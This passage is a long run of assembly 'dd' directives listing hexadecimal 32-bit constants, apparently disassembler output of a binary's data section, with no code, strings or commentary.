		dd 8F194C7Ch, 0A980D1A4h, 0DF386679h, 0A8B995F7h, 0B14BFF9Dh
		dd 0E68413C4h, 0F8D10468h, 56C81F5Ah, 0C540DAE5h, 1BC00753h
		dd 5F63A7FEh, 0A156FFB8h, 823F4006h, 0E20132C8h, 912727BEh
		dd 44D8B6Ch, 26F070C1h,	95EC2CDEh, 0F05BB1FDh, 1DF470B1h
		dd 0DCFD5E92h, 1E62B452h, 0FADADDF3h, 0AF19A06Eh, 8C0FE94Eh
		dd 36C3AFEBh, 3F7BDF07h, 12AA7A75h, 1D15D3E1h, 24CF0EA0h
		dd 17DEC58Bh, 0AF1BBCC9h, 56987087h, 0B420D61Eh, 3A6DF271h
		dd 0DCEC89F6h, 959C7142h, 0E1B41B8Fh, 7DEB932Bh, 3DEBBA41h
		dd 15D92125h, 0F52369F4h, 9F5E2EC6h, 1F4DF93Fh,	0B30C3956h
		dd 17369C94h, 4F2893A5h, 0CB6E535Ch, 72C27093h,	0BE40C33Eh
		dd 1C9ADB16h, 0A7A5B468h, 8C4512E6h, 0D82561C8h, 9812AA45h
		dd 70C018D5h, 0B2F06E3Dh, 65EBA894h, 57AE8EBDh,	39104B3Dh
		dd 0C70701Bh, 86133F76h, 0DD5848DEh, 0FA9920Fh,	0B7D4D3C7h
		dd 0A783C9D7h, 0E3763C41h, 19C83F52h, 0DB0718EDh, 0A84423BBh
		dd 641CFEAFh, 0C1A97CD0h, 13F0D77Fh, 8FF852AFh,	189806A1h
		dd 0A820993Ah, 2E3A124Fh, 0C0129404h, 25CE1A6Ah, 0E38B11E9h
		dd 4706F41Dh, 120C4682h, 318804BEh, 0FE01AE49h,	0BDFC502Ch
		dd 0F66A0B3Bh, 4A6213Ch, 52DCD8CAh, 474AB596h, 0C8242443h
		dd 0F672F0A9h, 8F6D2BE2h, 0B893D4E7h, 0E7F6E83Ch, 0E5030545h
		dd 9F67DCFBh, 0B3866083h, 38B1FA6Eh, 5AF5DB71h,	358C0FBFh
		dd 0BD571CA3h, 0CEF66674h, 0B2E80089h, 0EBE3F4Bh, 32438846h
		dd 0E5D38707h, 3396ADA9h, 0BFFCCD9h, 0DA73E4D7h, 0B22ADCE5h
		dd 0CE3AA55h, 0D5D9B9Dh, 0E3A522F3h, 0DF0233C0h, 0A72BF643h
		dd 5FC3FA85h, 7FA061B1h, 965B0E4Fh, 0D92073E7h,	556D0937h
		dd 854934C8h, 2656709Fh, 34598E3Fh, 29E20FC3h, 8885951Ah
		dd 0A0047E9Ah, 0AA4CCEDh, 0FD591BDh, 5FB9F62Bh,	721F45D8h
		dd 0F8BFB926h, 8AB90192h, 0E5AF52CFh, 5751AD40h, 2FBC8E9Fh
		dd 0F09D3095h, 0EBC5DBCAh, 33558331h, 88D92502h, 24D612E0h
		dd 7F568D45h, 9A83B22Ah, 0E1D25886h, 0C4079F0Ch, 9DCA344Ch
		dd 9E05CAD6h, 0F151014Ch, 54A3BEFCh, 37FCA02Dh,	7A2A6283h
		dd 0E8484A39h, 542CF161h, 0B2F59FD3h, 35902C22h, 53F1AA9h
		dd 69FD4E90h, 0A4931C0Bh, 2B077E0Ch, 3EECF132h,	0F9DD18B3h
		dd 4480130Ah, 51F02B99h, 73D87EBCh, 9E621B83h, 55DD7681h
		dd 81FC8603h, 870E3D00h
		dd 0FC8609CCh, 0C99188F6h, 2AA2E714h, 7937351Ah, 875AAC98h
		dd 0E73D3B2Eh, 0F17DB3ACh, 5FB3BCC6h, 7DFE1B0Ch, 4332568Ah
		dd 8ED6A450h, 0BBEDE4ACh, 5DF3AA66h, 804D1BAFh,	5388F9C0h
		dd 631E8852h, 9F7FD49Ch, 167F5C2Ch, 0B5B0CE2Ah,	0D9A1CB3Ch
		dd 6C97B243h, 7DA048A1h, 0BC17DDF6h, 3904420Ch,	0D9845E6Dh
		dd 2757BF35h, 375930F2h, 0D3BB8DCh, 0DDB1F342h,	6258D5CCh
		dd 104D20B8h, 2957DF91h, 28187D5Ch, 6ADDCBDEh, 0D7855288h
		dd 0BA68B808h, 0F822F21Bh, 0C0115C7h, 8C079FFEh, 4D9A8081h
		dd 0A2507C8Eh, 0F6084BCAh, 760A7CBDh, 97440004h, 6665BC86h
		dd 0BFBCB13Dh, 787636D2h, 17BB3964h, 0D51862E1h, 679639DBh
		dd 3FBEB1B7h, 7476A46Dh, 0EDA4FBBDh, 0CEAA5DB9h, 1B5F1564h
		dd 81EABD7Eh, 9A661CFCh, 566BFCC2h, 0B33EFCCCh,	0B0EB1529h
		dd 0A88A7540h, 8CD11143h, 0C7FF0F25h, 3CE049D4h, 7DBB683h
		dd 4158CC88h, 0F280E147h, 54EF4031h, 47D391DBh,	0CF7AE5DFh
		dd 31FC963Fh, 4F4A13B6h, 0CCBB72B8h, 0D7285BE0h, 22417855h
		dd 512AD534h, 0F8DF0F6Ah, 0B76681Ah, 0D3D0B3B3h, 18291F63h
		dd 364C6FBDh, 10A1BBBDh, 0EED8E9D4h, 241AAB5h, 0C61FA277h
		dd 0B079E9D1h, 7C12895Bh, 0C280C396h, 0DAD5EE8Ch, 0E2FFEB92h
		dd 0F98396D6h, 0F394EDA3h, 4792BD5Ch, 8D5F6654h, 0B0F13C82h
		dd 0EB7F319h, 0C8A099Ch, 3EDC2971h, 0A0A491C3h,	7FC5EBAEh
		dd 9DE6FF04h, 3190294Eh, 99D8D59Eh, 9C16C108h, 0C7A0AE03h
		dd 678703C3h, 0C07DA150h, 0C0D080FDh, 0C37FB4C4h, 0D5FC7D54h
		dd 89683943h, 26EACFEh,	5C2528CCh, 62A6707Eh, 17C8A7F4h
		dd 0FD232D68h, 6BE377ADh, 5C07575Eh, 0A0AFA22Eh, 11EBB105h
		dd 0EF647D65h, 0BD8072D4h, 12DA9113h, 0C9721191h, 8A53260Fh
		dd 11E3197Dh, 0B7FF0F62h, 7509DBB8h, 0DE22B9B9h, 4B66F903h
		dd 0A72D5678h, 0C4AA0B6Eh, 0B286A882h, 0DAFE6DDAh, 3D019EAEh
		dd 4E2C2DE0h, 3CDF645Ch, 0BAA8ECDBh, 6ACD0A10h,	6EBCB326h
		dd 69C3DC08h, 81D6488Bh, 0D46DB170h, 63B82F94h,	1417DF5Ah
		dd 0C03FB5BFh, 640072A3h, 50143AC2h, 8E17ADFBh,	163413F6h
		dd 9058998h, 525B0815h,	6B58D6B5h, 668C4F3Ch, 416168A8h
		dd 64D67520h, 23D0F391h, 0D888A2B6h, 9A3DA6DDh,	60AB4A30h
		dd 4A3F1C5Fh, 0E7D4D2DCh, 0AEEBEDE7h, 0E70AA3EAh, 0E3F4992Ch
		dd 0F67273D7h, 0E65994E1h, 0DD415791h, 6623581Dh, 1703ADC5h
		dd 0F9F6AB5Fh, 6456F4FBh, 5E1E27B1h, 0B9FC062Dh, 0F46B7ED2h
		dd 9DB9C3Ch, 5D7CD34Ah,	628CF061h, 37FBA1ECh, 0F94EA712h
		dd 6D94FEF5h, 0DEBFDCB7h, 64F2AB0Fh, 57EBFA40h,	0B9675CDCh
		dd 0B580E31Bh, 0E31DA71h, 0CD0B8EF5h, 0E28A440Eh, 13D41F40h
		dd 0D87F0264h, 0A42D888Fh, 163BB503h, 492F7F45h, 0A568E0E7h
		dd 72A7CBB7h, 48C4AA2Fh, 0BCEDE4DBh, 0B3E59F3Eh, 0F1E4C2Bh
		dd 4C905BD2h, 23BB2E3Dh, 0F34A68D3h, 6B6CD73Dh,	0DCA51452h
		dd 0FAC68DFCh, 57D1B54Dh, 0D9A93FE3h, 756660B5h, 0D6805B8Eh
		dd 7DF10A7Bh, 56498CC9h, 3F165528h, 75FC1728h, 0AF5100D0h
		dd 7D9B89BFh, 8A7F7712h, 3F0CD0FCh, 417BE1A2h, 0EFAC892Bh
		dd 71B8C5D1h, 0D86FDFDFh, 7C04A2BBh, 1677F890h,	0BD289D1Ch
		dd 0E5A5CB5Ah, 0F2C5AF8h, 59856CA8h, 0E3779B30h, 0F7964C44h
		dd 9979EBFEh, 1C4C660Bh, 463B68C2h, 270F9525h, 0F1F0AF4Fh
		dd 6857F2E3h, 5C1EA6CDh, 0BAFDC623h, 77EB1E55h,	0C99B8C7Fh
		dd 7D5CDB6Bh, 52BCEC51h, 3FF3A3E4h, 0F54AB816h,	6F96FFF7h
		dd 5DBCDC36h, 3B712BCFh, 37ABBA20h, 0A9477CCCh,	0ADB0D363h
		dd 0A39E27Dh, 0CB0F8AF3h, 6388460Dh, 0D3571C41h, 0F8B88164h
		dd 54CDCB0Fh, 1E0B96C3h, 0B51740A5h, 0A7949917h, 0DB9CF3Fh
		dd 4945A8EBh, 0BCAD67B9h, 33C55811h, 0CF0EADDCh, 6C984B59h
		dd 13BF26FBh, 7B4864B0h, 0A76BD90Ch, 0FEA4955Ah, 9C6CDF8h
		dd 955195C8h, 0C4F94FFCh, 791678C8h, 37805FC2h,	6869085Fh
		dd 7068E5AAh, 4E9D5424h, 968663C0h, 8120E97Ch, 0EB3FAEB1h
		dd 0F54E394Ah, 6BCB8B97h, 24183BCFh, 0CF8AB45Fh, 83BCE9FCh
		dd 6C9FCFAAh, 73ACD4D2h, 2715335Ch, 0FC08C310h,	0A990AD34h
		dd 2D64E487h, 3BF11C54h, 0CCD8FB15h, 84D6C848h,	6DEC4BFBh
		dd 7C3B686Ah, 6B7E3705h, 4563E947h, 4796B20Bh, 2C52DEBDh
		dd 0EA4B60CBh, 8BC7D74Ah, 781951A1h, 283E0EC7h,	4CC8E373h
		dd 0DA89C865h, 0E018ADD6h, 0ACE5F259h, 7FBA9081h, 0AA68FC8Fh
		dd 830AAB84h, 33535D6Eh, 0BCEFF5DEh, 0D7B8AF0Bh, 36A70F2Dh
		dd 0A2B52992h, 0EE855C51h, 0E188614Dh, 7DAFEC16h, 0EAFF79FDh
		dd 9795089h, 327B4FEBh,	0D7FF6073h, 1BD764E7h, 63AED194h
		dd 0DC08F1B5h, 0D7857064h, 0EE96E2A4h, 0AD24DEB7h, 73FE52DBh
		dd 26CA06FCh, 0D106D896h, 96DB7BE3h, 61B57F61h,	38F092A8h
		dd 0C848ABD8h, 0F72D9EA6h, 0F78E2CE3h, 0F9157D19h, 0E975A2AEh
		dd 3E816D09h, 0C1E47C0Ch, 8F346033h, 0F9E86B9Ah, 0ECDD59DCh
		dd 77EED043h, 66B374E0h, 8DB59059h, 508185CEh, 78CB84B7h
		dd 1AAB9EB5h, 9931FC89h, 0E3F4DEBh, 0BAD06372h,	0DB4F4EE6h
		dd 0F2B94F3Dh, 0ED76B911h, 0E67D930Fh, 0EF9B67ACh, 0A0B72122h
		dd 24124B5h, 2F79F2C4h,	988B0EBh, 42F19EECh, 0DBBECBF8h
		dd 8CBB226Fh, 61AEB8F1h, 0E878CCD4h, 0E989D67Bh, 0FDCDA740h
		dd 0EB21BAB2h, 0A4DC4D73h, 6AA54A97h, 0B2776615h, 0B2683113h
		dd 79D14085h, 0BD95D5CFh, 0CCA54540h, 72B81437h, 868E61C5h
		dd 64AA6EC5h, 249168D1h, 6CA7EAECh, 0A0A6A4FAh,	0F7F62F3h
		dd 3F3E3BFDh, 0EBB05D78h, 0FDFC71F7h, 0FC2FE3A8h, 0F84F9AEEh
		dd 0F6F67754h, 0E29CEA90h, 0A173DE44h, 46D97766h, 0A5EF605Bh
		dd 8398AD0Eh, 0E38EDE17h, 6A8F18F8h, 7E84B467h,	8C4E8C67h
		dd 540ED89h, 58E823F2h,	0CA907954h, 0E2A762ADh,	0D8A6784Bh
		dd 6CBB44C2h, 0B75110F5h, 0C6F4437Eh, 0C7733927h, 67DE8BD6h
		dd 2AD4BDDDh, 0CAB85164h, 0A90B386Dh, 0FDCBD704h, 3D8E9C72h
		dd 0B415F04Bh, 0A63EF51Dh, 0F4D42719h, 300A69ADh, 0AFEF2D99h
		dd 0AFDF2598h, 6824E087h, 279D58CBh, 0C7995E75h, 8EA298Eh
		dd 25B1F809h, 82B7A1BBh, 0DC8CDFC7h, 0E99421A6h, 0D83C53EAh
		dd 63F490F2h, 0E86AA8F8h, 6B9E1D17h, 0A4C87748h, 97A2D1BBh
		dd 0F0D0097Fh, 0B18C5E9Fh, 0AF7781BFh, 0E6175924h, 65CB76B4h
		dd 0E079E6F3h, 0D45BA8CCh, 30619BE8h, 0B88368FEh, 816C6DF6h
		dd 18311394h, 73365B09h, 9082A4F9h, 9886FADBh, 0EE22F8CFh
		dd 0F4EABF70h, 0A8944952h, 0B8CA3244h, 62985E0Eh, 0A70B9818h
		dd 85ADB3F6h, 0F398C453h, 719812D1h, 200E0B79h,	685B87Fh
		dd 0C5906F11h, 4D17FE15h, 2243156Ah, 888CDF21h,	87616E8Fh
		dd 7EF667F6h, 53741363h, 0C5F891B0h, 0D3DC7746h, 6CBD9210h
		dd 0AE4384A3h, 0C7F5FE5Ah, 0E1905620h, 252D9F28h, 25EA5E18h
		dd 86D42F37h, 6F09440Ah, 0ACD8EB07h, 0D3D2B88Fh, 0BA29952Ch
		dd 0D77F4303h, 61D8FF77h, 384615ADh, 57A02744h,	0C61F6A90h
		dd 46FAE9D3h, 6C995BC6h, 0DCFE5260h, 1DBE6397h,	4A55B785h
		dd 0C6CB47Fh, 0D5EC95A8h, 9EC28186h, 0F927B3D8h, 3EF1F0F8h
		dd 0AC23A9EFh, 9EC34F49h, 1B879267h, 0AC240CD8h, 8B543C7Bh
		dd 0E5291B97h, 0ED1FE841h, 8FB621ABh, 6FC848A0h, 9EFFB5E2h
		dd 0D307A6DCh, 4F4B0252h, 0BA89C704h, 0A789C90h, 0BD6F0DCCh
		dd 3A553111h, 0E19DF080h
		dd 8A9163CAh, 6069A3C5h, 71B0D869h, 0CEE9DEB6h,	963D544Ch
		dd 44F05E2Bh, 0B3369D09h, 96A8F387h, 0F990E471h, 6B185D56h
		dd 0B6553D8Bh, 1251BF4Dh, 2280EF05h, 6405A315h,	0B4486058h
		dd 9D957D37h, 6D6A768Ch, 92BBE0E2h, 5CB33C4Ch, 3838AAA6h
		dd 9CFD975Dh, 1847CFC1h, 0CF38D83Fh, 0C2E7DC75h, 0C1774902h
		dd 5C5CBD1Bh, 0E7388CD7h, 90CEE5CBh, 0A9543069h, 71F8C230h
		dd 0A4CBA688h, 7209C83Dh, 0A725E63Fh, 0DDD79206h, 0E6503999h
		dd 56EE02CAh, 209F7262h, 22A5FBA9h, 4B4B93h, 0C6F5440Eh
		dd 6FD3749Bh, 1C8FDF62h, 0B31F870Ah, 1F0798ACh,	0BDCE52A3h
		dd 1217DBD7h, 61FDDAFBh, 0ED089CECh, 17C36067h,	3AC65D3Bh
		dd 4AB7608Eh, 0A81E1A71h, 824738A7h, 0F312F6DAh, 0FAE4128Eh
		dd 77CE1DF2h, 0A620F5ACh, 0D2D9A9F9h, 633EA689h, 9463E26Dh
		dd 967BBD9Bh, 0D16333BEh, 0EB6C0F56h, 0E1AEB7BEh, 0E8A0D2C8h
		dd 0EE7130C4h, 64CACB7Ch, 2ED3A34Eh, 0B4EA448Bh, 151A555Ch
		dd 0BC73A422h, 984CC18Fh, 9685C459h, 4A8457E2h,	6D821FF1h
		dd 0C57EE037h, 5256422h, 29177E44h, 0D9415512h,	86DF3F37h
		dd 0AA5E10EEh, 0FCFE41F1h, 28569E63h, 2669CCE7h, 0CD56D24Bh
		dd 4657C00Ah, 0AF1A9934h, 8CE2B50Dh, 0BAD55F56h, 1EE8869h
		dd 0DC390C6Ah, 86FCA9DAh, 6F794A2Fh, 36D51E2Bh,	968ABE83h
		dd 4D46E63Dh, 0F4116E55h, 958A0636h, 0A31DFFE2h, 4DB45012h
		dd 7C5C2542h, 0F50B5D6h, 320F7D8Ah, 0ED957360h,	89D3692h
		dd 2E8398C2h, 626B6E1h,	420C856Dh, 52E5A1ACh, 8A2C37C8h
		dd 3F010D0h, 0B20AACF4h, 0A8DA4A5Fh, 0F2DC4733h, 7F0A07B4h
		dd 0B1D31372h, 822437BEh, 0E3FFD535h, 0F60B3321h, 6BE51D0Eh
		dd 0B2AA8780h, 0A1B9BAF2h, 752B0CE1h, 0A9720E17h, 550CDB8h
		dd 113A5ACh, 0FC4EFA61h, 0C1BD9B9Ch, 0E1896ACEh, 0E36C4EDEh
		dd 6FF1C964h, 1FCE99EFh, 9639B6F9h, 3494370h, 0AA54F99Ch
		dd 9847EB4Bh, 0FEC9C0B0h, 6F8340DFh, 0E8810CECh, 9570B576h
		dd 6669EC32h, 0F8173E1Ah, 5443C6Bh, 0BFDA5633h,	967B9C81h
		dd 0E0BB7CE4h, 6D91D575h, 2CB8DCABh, 0D4739340h, 5EEED3DFh
		dd 0AF629EE3h, 0C2B3A8F0h, 0FD8C5866h, 7BEE9036h, 0D42CB11Ch
		dd 91F363E9h, 9B60A32Eh, 0B8C0972Fh, 0E5D8F794h, 2623A327h
		dd 0E53E7800h, 81CD621Ah, 0E205DEADh, 78F013D7h, 4BDF77D0h
		dd 5424E575h, 533B2AB6h, 0C1DB5049h, 4EC673B9h,	4BC9FCC4h
		dd 9822B0C3h, 0CD0D836Dh, 75C75389h, 0AF216BC8h, 46FF11C0h
		dd 0A734F9C2h, 0F9D33055h, 0B4881047h, 3EE521F9h, 0E5D05738h
		dd 0C74976D0h, 0B1BDB095h, 9460612Eh, 6DB66440h, 0A59EF4FCh
		dd 0D2AAA6F4h, 763D9991h, 0E83F2761h, 0CA0880D6h, 6461AED8h
		dd 0B86DB102h, 0CA97B7B8h, 0FEC93ADBh, 0EA667D8Ah, 76FAD67Fh
		dd 4894D112h, 96B9836Ah, 1D814CBAh, 0BC969264h,	0DC24FACDh
		dd 0F37FC375h, 4AA83356h, 36CA4434h, 5228AFFDh,	117A646Fh
		dd 8605E321h, 0A067F146h, 4FA93F7Ch, 8E2CDAB9h,	0E6C95CC4h
		dd 0A95FEF42h, 3B2CFE2h, 1361AE2Fh, 72C78310h, 6699A39Dh
		dd 0FA84DAB5h, 2EB91645h, 0AD7BE25h, 81850C31h,	0A8180DACh
		dd 2507D121h, 0BC34AD22h, 23F80A83h, 772CA43Dh,	5933530Ah
		dd 0F7EB3C7Fh, 0EE053999h, 7BA1F360h, 28141F90h, 3F2F452h
		dd 790D11A6h, 0F91E7AB3h, 59C825B4h, 25A6E3EDh,	0A22F4DBh
		dd 0D90494E0h, 3286C57Ch, 0AD61B489h, 9BFD77D9h, 0BF46868Dh
		dd 0C9E40810h, 0E0DB0C76h, 0E82C67B4h, 6445A87Eh, 0B5EA329Ah
		dd 298DF450h, 91F2329Eh, 0C2393B73h, 8F66C6ECh,	309EA0C3h
		dd 708806D9h, 0A60AAC70h, 4B848BAh, 0B66781B0h,	0AB411932h
		dd 15DA3587h, 0F7CEBFFFh, 866071CBh, 6CFC5178h,	57DDDDD5h
		dd 0B719AD2Ah, 11C472E3h, 0B1B7864Eh, 9267F135h, 0F77F8E7Ah
		dd 7C9A5833h, 96E8754Dh, 46618C47h, 0EE6CE3B4h,	0F21BE906h
		dd 8279C656h, 78926F44h, 0BD7F9C85h, 0C8F274F3h, 3BD18662h
		dd 981FBBCCh, 633C679h,	3790CDC5h, 54BB9E72h, 0D5BDFAB8h
		dd 0AFA404Ah, 5EDCF15Ah, 9A698834h, 8D76E3EDh, 0A6F6A067h
		dd 377EB928h, 0B928C9h,	4674EE1Ch, 0F271838h, 0B3EA5250h
		dd 8D5DEFCFh, 7AF397D3h, 23D40E15h, 47D76B1Bh, 1EB0299Ah
		dd 0CE6C41FDh, 5F9D3CECh, 2ACBEBEAh, 803AA0CAh,	8129879h
		dd 0BEE013Dh, 0D264A4D9h, 85B465E8h, 0FB4976FCh, 0F4D82D61h
		dd 0A7884F30h, 22ED2D90h, 6F59A066h, 21A35AD8h,	0F09FB097h
		dd 8D8034A4h, 3C0E1D61h, 0A94A879Eh, 0A798BBD8h, 7B169AFDh
		dd 0ADC2E86Dh, 909E2CA1h, 0AED227CAh, 12F47213h, 0B7A566D1h
		dd 0B64DF6CFh, 0D44951EEh, 55C1E430h, 61875306h, 0E5C0A099h
		dd 1F1BADDDh, 0BCC4457Ch, 0A7DEE239h, 0B69CCB3Ch, 38ED1075h
		dd 4FD31045h, 0D14DBC94h, 906F79E8h, 28176862h,	0B04394A1h
		dd 5C0BBC3h, 8A7F15CCh,	97B62EA0h, 990C9B5Ch, 0E568B2C0h
		dd 659F9E5Eh, 0AC87C548h, 0C781C937h, 0BDFF808Ch, 0BDBD139Eh
		dd 4D1F6DFh, 23A231FCh,	92FDE4F1h, 5E8CCD32h, 3A97AE70h
		dd 47AF73E9h, 933CCE2Ch, 882A0C14h, 0F1CC6F1Ah,	0BB1A2BE7h
		dd 7895106h, 2302DB3Ch,	55739F14h, 1EDB61C0h, 88D628ABh
		dd 3CC110A3h, 24B3EEEAh, 30BDC9h, 5F0494EAh, 0F8A38199h
		dd 0E2141B23h, 0D9DD9A96h, 0F928B0EAh, 0FBD3257Bh, 838A0425h
		dd 0E92C4883h, 0DFEF4029h, 5EBA249Fh, 9F12FC46h, 96B71E4Eh
		dd 22540789h, 0AC4FD8F3h, 0C09297C0h, 16BE2AE8h, 0E4B60651h
		dd 44CE658Bh, 279368A8h, 18B67A5Ch, 0D4BB32F2h,	816AD091h
		dd 0BD2465D8h, 46F9144Bh, 6F533B6h, 0AB1A93FEh,	64AD2C9h
		dd 0BDF73264h, 8F8BF735h, 0B3EA9A11h, 38FA1E3Fh, 0C5D60B0Eh
		dd 8342BE66h, 0FF6AFC2Fh, 593D6C81h, 897AF863h,	569CCF7Eh
		dd 0B47E28B7h, 0DBFE72CFh, 31DC9C67h, 64E29F94h, 4FA0F328h
		dd 91B1D1DFh, 1ED285FAh, 8882943Fh, 2ADE7C6Eh, 73AD9D04h
		dd 0CC37AC7Eh, 91EB6997h, 0A7E02014h, 93DE9063h, 7D2C41E2h
		dd 0A0F8D92Bh, 31390F43h, 2006958h, 0DD4CE3EFh,	5EA0B83h
		dd 3983F0C0h, 5472E2A6h, 78F087B1h, 0DA92B79Bh,	1D317ACEh
		dd 6BA9FCE0h, 0B2CDFEE2h, 0AC3CEC02h, 0D6F80E8Ch, 0FE351869h
		dd 0F5F58A99h, 0A46AFC45h, 0A19A93A5h, 0ECCA3552h, 49E57AA4h
		dd 9BD7B932h, 6BB43BD8h, 841CDBB3h, 29AD1F20h, 0A5061AE1h
		dd 8A50E2E9h, 3CC7EB1Bh, 714ED8E1h, 0C7220D56h,	8F1B6BCFh
		dd 6ABC54E4h, 0D3ABF3Dh, 0B4E343EEh, 6A18085h, 0AD7C77E3h
		dd 94BD8D3Eh, 0DC91DC12h, 0EAAD2D6Ah, 7E888D0Ah, 0E610EA1Fh
		dd 0C88A8F02h, 0B221D931h, 6C5A2A26h, 64F60B03h, 8B9FAB4h
		dd 0B1D12629h, 4C31EEB5h, 0EC7B5A4Eh, 357BE98h,	0F340CD0Fh
		dd 0DEEBAE8Eh, 8B0AA157h, 24E505CEh, 0CAB91514h, 83A8DB34h
		dd 72DE90E6h, 3DB3B279h, 0EE84134h, 5FCA284h, 0E4D55743h
		dd 0AE362397h, 0B98C4684h, 0FAF6E1F6h, 6071336Ch, 0A26FC538h
		dd 0C69E3309h, 3256512Ch, 0D3256EAEh, 8B978524h, 0FA9E8198h
		dd 550B84CBh, 6BE3A191h, 0D08F1CE0h, 0FA6BED7h,	2C23578Bh
		dd 0FF7BCCAh, 0C7C2DAEDh, 88EA416Ah, 0E63E523Ah, 0EBB38F99h
		dd 0A830B579h, 0BDD4402Fh, 0F7D8E597h, 0BA239A47h, 497E5224h
		dd 2E6643B5h, 0D40EDCE1h, 4A76126Ah, 1D3613F7h,	1C7DEECFh
		dd 1190A0DEh, 5D8B036Eh, 0D810E7A4h, 993A9DCBh,	2AE10DFEh
		dd 3853C368h, 0CB0A7BBCh
		dd 0D9A8C589h, 75501987h, 0A9E84D7Eh, 0DCD9DDD5h, 0E5E9420Ah
		dd 50E91867h, 9409D235h, 95A82E54h, 0F487B90Eh,	6B4B1920h
		dd 0A1D73802h, 45E05364h, 71E965E2h, 183FE8C4h,	1A37053Fh
		dd 2A0ADEF0h, 43435492h, 0C3FEAB69h, 5D9191A2h,	0EB3562F9h
		dd 9FE26640h, 334AC931h, 60DBDBBDh, 80AAB239h, 0DFA60B60h
		dd 53F6D40Bh, 0FF3AB2DEh, 9970F843h, 904C433Ah,	0BDC0F04Dh
		dd 722A2BBEh, 0BAFBDE4Ch, 8E652Ch, 0A16E520Fh, 0DC39A4BEh
		dd 0B6DCC3CBh, 35C8B154h, 0FB7588F6h, 15DCB391h, 389F9588h
		dd 4F6ED0D3h, 186024FDh, 0D49988D4h, 1BA0F97Ah,	0E03D4831h
		dd 32517D2Eh, 0F913BED8h, 0D30BE6Fh, 0BFD6DDADh, 0ABE7C097h
		dd 2194B75Fh, 23044A27h, 0D24DCE82h, 0D50FDDF2h, 7B752E70h
		dd 0E95842B3h, 4F02B8F6h, 768CAE1Ah, 51068022h,	8A8CA89Ah
		dd 8B4DC880h, 7F5B3861h, 7B0C8F2Ch, 8DF64EB6h, 1E24CE9Bh
		dd 2EDE77D2h, 9DC0DD70h, 833F174Ch, 2EA46D8Eh, 738E271Ah
		dd 226CA47Eh, 84B5B30Fh, 61A7306h, 548AF523h, 2A2C0931h
		dd 0D4994BB6h, 141D6FE4h, 3B87EEF4h, 59354762h,	16D184B5h
		dd 125E802h, 0E0964119h, 0EB3D41FDh, 0AB4543CEh, 0DE3BAB18h
		dd 32002600h, 48B7A1B0h, 94BCAE51h, 0C3A70B7Ah,	6DE5C89Ch
		dd 0A9E676ABh, 0C3EBE337h, 0FC145974h, 97AC5ED5h, 311B0E85h
		dd 0B8ECDC54h, 8A9D396Eh, 0E46F420Ah, 147F67A3h, 0AA9D742Bh
		dd 56C9154Fh, 0EB2BD595h, 0BAFD8ABh, 269F87CCh,	77C9ACB4h
		dd 5F073C7h, 64D3F78Fh,	43C7EE85h, 5D2E42FAh, 0BB4675B9h
		dd 8B5AADF6h, 0F231A870h, 0E2CA578Eh, 0F6C87288h, 0F137DC7Dh
		dd 0E8921060h, 8B669EC2h, 0E9EFB98Bh, 2FE63D6Fh, 0B3576FE9h
		dd 41ADF0F7h, 23CFCDB0h, 0DD145B8h, 91D168A8h, 0DB2C86AFh
		dd 5D6ACD0Ah, 1A42791Dh, 82EF639Dh, 9230D8B8h, 0EBD768D1h
		dd 0B8FD1361h, 0EF6B0ACDh, 65F00BF6h, 7B825776h, 0E0F57E0h
		dd 0F0CBFC8Ah, 38A5465Dh, 798EC361h, 0DA123750h, 92914B28h
		dd 31177304h, 0E3D0B22Eh, 0DE1F5F2Bh, 728B82E2h, 0BC7C6840h
		dd 1B63153h, 78D61CBEh,	0FD85F095h, 0F473C366h,	6BD21630h
		dd 2BB0B2EEh, 91B6BB68h, 0A8BB1034h, 7E649500h,	0B2BE8537h
		dd 0A6BB074Ch, 0E566D03Bh, 0D5888DC8h, 3E754686h, 0C5B1AE16h
		dd 36BE715Dh, 7729872Bh, 503F79B9h, 7BBF12ACh, 63AE51FAh
		dd 0A817A452h, 2288F291h, 32DFD781h, 7400AA87h,	78D51DCFh
		dd 0B06AD069h, 0CD88D89Ah, 6E304ECDh, 0B77A4486h, 8F1BDDABh
		dd 0F426A97Ch, 0EC9B8F8Eh, 3C8026DDh, 95CE942Ah, 0A0A7020Fh
		dd 0DE21FCAFh, 0BABDFFC5h, 3FAFD574h, 0A33B07B4h, 4CA8F8F2h
		dd 6010BD4Fh, 5F5284ECh, 0D6667587h, 8B6DE19Ch,	475BAA08h
		dd 34DD4104h, 80D96D95h, 192C93BDh, 9991AF9Ah, 12F69471h
		dd 0F703A74Ch, 10B95E1Bh, 4FEA189Eh, 7366743Dh,	0A28E8C01h
		dd 1B543305h, 487ECA5Fh, 543379A2h, 6F1A231Ch, 0B2F5325h
		dd 0D3DCB257h, 66495F2Ah, 9A1BF81h, 165ECF60h, 70D98E7Ah
		dd 4D421A83h, 0A78089BAh, 0EF7DD471h, 26DB2011h, 0B1ACDCAh
		dd 8863EF23h, 8B965E38h, 7B168AC8h, 0EEEA307Dh,	0CBC32831h
		dd 0A340D646h, 908BF6D8h, 506AF9A4h, 9CC40575h,	0DFBF101Fh
		dd 607C8E5Fh, 3A6971A4h, 45910149h, 459E2A87h, 8676FE48h
		dd 1FE6D39Dh, 338C8556h, 6CF9C52Dh, 661907A2h, 770926Fh
		dd 0C4F6FE97h, 4B0A45DAh, 0AF6F7D8Ch, 0B0492C3h, 2524BA51h
		dd 9DDE5C93h, 7FA08AA4h, 0F4384508h, 98413D05h,	0F6F8CF80h
		dd 0F2D5C386h, 3E0ACB6Dh, 0AE0D5AB4h, 5B75EAEBh, 731CE395h
		dd 59450E69h, 0C97FE82Eh, 8F631B96h, 7B7AC35Ah,	34ECB616h
		dd 86933F94h, 9B26A2A0h, 37D61FCCh, 2EACE536h, 0C520B284h
		dd 18B94844h, 309376BEh, 1E5B1A4Ch, 82B5A8BCh, 1CDE3CE7h
		dd 710FEA5Eh, 820C25B2h, 8734250h, 0BE5D7033h, 8A84F00Eh
		dd 7B365762h, 0B68F9EA6h, 126B6841h, 0DBA9A919h, 478B4EDDh
		dd 2F29BFDDh, 831E6E0Dh, 51BE5021h, 3D3DC6FAh, 9DFA816Dh
		dd 95113C30h, 3674ED28h, 0A908B6B2h, 838EB0D7h,	0B602AD66h
		dd 0F0CAB69Eh, 6409D1CBh, 0E5F7965Bh, 5F97EF3Eh, 0A47BAE0Fh
		dd 437F39A2h, 5DB22DF6h, 53845864h, 9138E928h, 54B2A496h
		dd 54C4D43Ah, 410D9CC8h, 5B751B52h, 0A11B8920h,	53E6EE8Ch
		dd 3F7604F1h, 0D66A6ED4h, 3F1189FAh, 0F723A870h, 3382B8F6h
